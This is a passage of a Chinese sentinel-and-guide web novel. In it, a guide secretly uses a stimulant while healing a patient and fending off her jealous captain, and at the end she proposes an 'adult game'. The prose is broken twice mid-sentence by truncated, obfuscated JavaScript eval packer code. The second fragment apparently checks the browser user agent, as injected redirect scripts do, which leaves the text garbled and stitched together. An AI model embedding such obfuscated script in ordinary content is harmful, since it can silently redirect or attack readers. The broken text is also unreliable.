她虽然不能像之前那样与暗双拥抱,但猫的舔舐更温柔,更细致,心里软下来时,精神体便散发出让人安心的气息。蛇眯起眼睛,在猫的身上缠绕,小尾巴惬意地挑动,十分舒适的样子。 “舒服吗?” 暗双点点头。 虽然现场还有一位极具压迫感的哨兵在,但他完全相信奈苗,已然彻底放松下来。他两手不再抓挠胳膊上的绷带,就轻轻地扯着奈苗的袖子,偶尔扭下肩膀,不知是被疗愈到舒服的地方,还是单纯的撒娇。 他们专注地望着对方,眼里荡漾一湾湖水,彻底进入状态后,便不约而同地全然忽视了屋中另一人。虽然没有肢体接触,却比昨日更加亲密。 安白接连换了好几个坐姿,一会翘腿一会撑头,不时咋舌。他很想找出一个理由打断这种暧昧的氛围,但那两人之间的安全距离又让他无法挑刺。 他煎熬地忍到了两小时,一个基本的疗愈时间单位——便立刻站在奈苗面前,像一堵墙一样挡住她的视线,说道:“好了,结束。” “上尉,我才完成了3%……” “下次再继续,现在该去训练了。” 安白扯住她的手腕,强行将她拉到自己身边,回头瞪了暗双一眼。 暗双一整年都一个人待在小屋里,并不会直接反击他人的恶意。他只低下头,抱住被子,无辜可怜又弱小的样子。 “……”安白一想起他昨天那副耀武扬威的得意样子,再看看现在这样可怜兮兮软弱无助的作态,身上像有虫子爬一样难受。他终于忍不住,骂道:“装什么样子,恶心。” “上尉。”奈苗声音提高了一些,抿着嘴,略有些不悦的样子。 暗双黯淡的双眼亮起:她站在自己这边。 他偏过头,目光越过怒视他的安白,朝奈苗小声道:“游戏……” 这是他今天说的第一句话,声音干涩低沉,一开口就哑了音。奈苗立刻跟着说道:“我陪你。” 他笑起来,用力地点点头。 回去的路上,安白带着气,大跨步走着,扯得奈苗不得不小跑。他希望奈苗能识趣点,自己解释清楚最后那句暗语一般的话是什么,但奈苗对他的撒气行为熟视无睹,什么都没说。 回到训练室时,他终于耐不住性子,先开口问道:“什么游戏?” 奈苗转了转被他攥疼的手腕:“你不会感兴趣的。” “……你不说的话,我们就来聊聊你使用爆发素的事吧。” 奈苗动作一顿。 他果然注意到了自己精神体变大的事情,并理所当然地联系到她曾问过的白色药片。 “我没有用。”奈苗忽地扯住安白的衣领,将他拉到自己下颌旁边,轻轻靠上去,与他的脸颊若有若无地贴上,“你闻,没有爆发素的味道。” “……” 她身上确实没有爆发素的味道,而是一股淡淡的花香。 安白顺势搂住她的肩膀,像只狗一样贴着她的脖子闻了很久,最后说:“你喷香水了。” 又是一个记得住味道的狗鼻子。 “你在掩盖爆发素的味道。”安白肯定地说。 “……我只是喜欢这种花的香气。”奈苗侧过头,有些伤心的表情:“你讨厌吗?你要是讨厌,我就不用了。” “我不讨厌。”安白脱口而出。 “那就好。”奈苗笑道:“我不想被你讨厌。” “……” 这个话题就这么被轻轻带过了。安白心中虽然怀疑,但确实没有直接的证据,也没法对着奈苗那样难过的模样说上什么狠话。他隐隐觉得自己在被牵着鼻子走,虽然这感觉似乎也不赖。 单就是这样和她借着各种理由身体接触,说些有的没的,看到她的一举一动……就已经很愉快了。 “今天的训练是什么?” “实战训练。”安白说道:“疗愈我。” 同样是渴望她的疗愈,暗双会可怜巴巴地望着她,向她讨要温柔的爱抚,安白却一副他本来就该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不一样么。”奈苗垂下眼,低声道:“但你应该只是想要在我身上寻找过去的感觉吧……算了,不说这些,我们还是训练吧。” 说罢,照他之前教她的攻击招式,朝着他的膝窝猛地踢了一脚。 这一下带着狠辣的力度,安白对她没有戒备,狠狠挨了一击,火辣的痛感中,心中却升起一股怪异的喜悦之情。他半跪着摔倒在地时,心中却没有一点被以下犯上的恼怒,反而情不自禁地勾起嘴角,心中想着:她难道,也在嫉妒着吗? 就像他嫉妒着被她疗愈的暗双一样,嫉妒着曾经攻击过他的某位向导。 19.替代 恩斯从层层叠叠的文件中抬起头,看到安白轻快地走进办公室——那张总是严肃而不耐烦的脸上此刻舒展开,嘴角还带有若有若无的笑意。 他这几天都是这轻松的样子,但没听说有什么喜事。 “心情不错?” 安白没接话,问道:“找我什么事?” “明天需要你去前线支援一下。” “啧。”安白脸一沉,愉悦的表情消失了,“我这几天有事。” 恩斯转了圈笔,放到桌面上,不急不缓地说道:“你之前的学生也在那里,她需要你的指导。” 安白身子一僵,沉默了会,才低声道:“都说了是之前的学生,我能指导什么。再说,你们都把她带到上层了,不在我管辖范围内。” “不管她现在归谁管,你们总归是匹配度最高的,就算你们没有一对一匹配,也有很强的精神链接。向导和哨兵双向需要,她需要你的帮助时,意味着你也需要她。” “不高。” “99.9%还不算高?” “不是100%。”安白昂首道:“我不知道她需不需要我,反正我现在不需要她。我自己就能治好自己,不需要任何一名向导。” 恩斯微笑起来,起身走到他身边,宽厚的手掌拍拍他的肩膀,然后不轻不重地捏了一把。 “不需要向导,但你所谓的‘有事’就是每晚去指导那只小猫咪?” 安白挥开他的手,后退一步,竖起眉,严肃道:“她有名字,叫奈苗。” 恩斯被下级顶撞,却并不恼怒,像所有的长辈宽慰叛逆的孩子一般,低笑两声,说道:“别任性了。这是S级任务,你不能拒绝。” “……S级?” 安白想起S级污染区那些奇形怪状的污染物们,一声尖叫就可以将普通哨兵的精神屏障击碎。过往做这种任务时,总是会伤上好几天,就算拥有强大自愈能力的他也要疼上一天一夜。 绝佳的受伤时机。 他忽然改口道:“好。” …… 奈苗进入白塔已有两周,每天的日程都枯燥而相似:白天做越来越繁重的清理工作,下午与莓拉聊上一会,线上陪暗双玩会游戏,安抚他那敏感易碎的情绪,晚上在安白的监视下与暗双疗愈,夜间服用一粒爆发素。 或者,两粒。 这段时间,她与暗双不得不保持着健全的距离,和安白却越来越近,虽然没有近到突破第三十条的程度,但日常的训练里总是借着体术的借口亲密相贴,有时甚至不在训练时间里离得很近,也不觉得异常。 不过,那天之后,安白倒没再提过让她使用攻击型精神体的事了。奈苗懒得多想,但看他喜怒都形于色的样子,很容易猜到为什么。 他觉得她嫉妒了。 嫉妒曾经对他使出攻击型、让他爱上这种感觉的那位向导。 所以,他就像在照顾她的自尊心一般绕开这个话题。 奈苗无意纠正他的错误想法,只觉得他现在不找事的样子和蔼很多,虽然晚间和暗双疗愈的进度被拉慢,但同样有理由不去面对暗双精神失常的第二号人格。 ……即使那人格总是在暗网上给她发一连串的骚扰信息,并不时威胁她要停掉她的账号权限。 奈苗也只能与他周旋。 毕竟,爆发素实在太好用了。她已经能轻松召唤出半人高的黑猫,清理和疗愈的速度都大大提升。她心里计划着,说不定她现在已经提到了B级甚至A级,该重新做下等级测试了。 距离正式考核还有两周的时间,她要对这场考验心里有数。 训练结束后,她和安白都没有立刻离开。安白一直盯着她,像有什么话要说一样。 奈苗先开了口:“上尉,我想重新做一次等级测试。” “可以。”安白一直关注着她飞速的进步,对她提出此事并不意外,直接答应下来,又补充道:“等我回来的吧。” “回来?” “嗯,我明天要去前线。那里有我之前的学生,一名……向导。” 安白说着,状若无意地打量她的神情,想看她的反应。 奈苗低下头去,一边手指缠着发尾转了几圈,轻声道:“噢。” 他要走了,这段时间,可以快些把暗双治好了。 奈苗很努力才没有笑出声来。 安白见她这强装作无所谓,但偏偏又十分在意的样子,不禁也伸手捻住一撮她的黑发,帮她顺到耳后,手指贴着颈旁滑过。 “她是除你之外唯一攻击过我的向导。”他顿了顿,声音滞涩,不知为何说的很艰难,但还是执意解释下去:“我因为她才知道,原来攻击型向导会被他们带走……” 奈苗凝神听着,注意力全在那位攻击型向导身上,一时没有留意他的言外之意。 她记得安白曾有三名学生,两个哨兵,一个向导,现在都是S级。她之前没想过那个学生会是稀有的攻击型向导,现在看来,安白会在招聘会上直接看中她并执意做她的指引,和他之前的学生有很大关系。 他喜欢这种被攻击的感觉,多半也是那名学生的原因。 或许,他正在她身上寻找那学生的影子。 她抬起头来,探究的目光望过去,促使安白嗫嚅的唇不再犹豫,说出了在他内心蠢蠢欲动的那句话。 “——她与我匹配度很高。” 匹配,只存在于哨兵和向导之间的关系,比情侣更加紧密,比挚友更加长久。匹配度极高,则意味着他们每时每刻都在被彼此吸引,只要他们结合过一次,就会成为彼此眼中唯一的存在。 他们虽然是塔里指引和学生的关系,但很大可能发生过什么。 想到这里,奈苗心跳隐隐加快。 那名攻击型向导可能正是被带到上层,但现在却有机会去前线,这是否意味着,即使暴露了攻击型的能力,也仍旧有一定程度的自由? 她必须要通过安白找到那名向导,确认后续的流程,她需要知道攻击型向导的信息会不会流入高层,引起某人的注意。 ——她现在绝对不想见到的某人。 安白等了很久,没见她有什么反应。他略有失落,话都说到这里,也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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把暗双疗愈到50%,得到一大笔钱,然后用关键词“爆发素”叫出暗双的里人格,说些话稳住他的情绪。她要买好多好多爆发素,在下次检测之前把精神等级提到最高。 去疗愈室时,暗双还是老样子,缩在床的一角。这么多天来,他已经习惯了安白的监视,看到只有奈苗一人走进来,十分惊讶。 他歪着头向奈苗后看去,想寻找那位哨兵的身影。奈苗走上前,挡住他四处张望的目光。 暗双抬起头看她,感觉她今天很不一样。花香浓郁很多倍,她笑得很开心,这香气和美妙而甜美的笑加起来,让他有些晕头转向了,几乎要不管那位暴戾哨兵的存在,靠近她的身体。 “他不在。”奈苗抬起手,摸摸他的头发,这在往日,是被安白禁止的动作,而现在她尽情地抚摸。“今天,我们来玩游戏吧。” 暗双瞪大的双眼中,奈苗笑得很勾人。 “大人的游戏。”她说。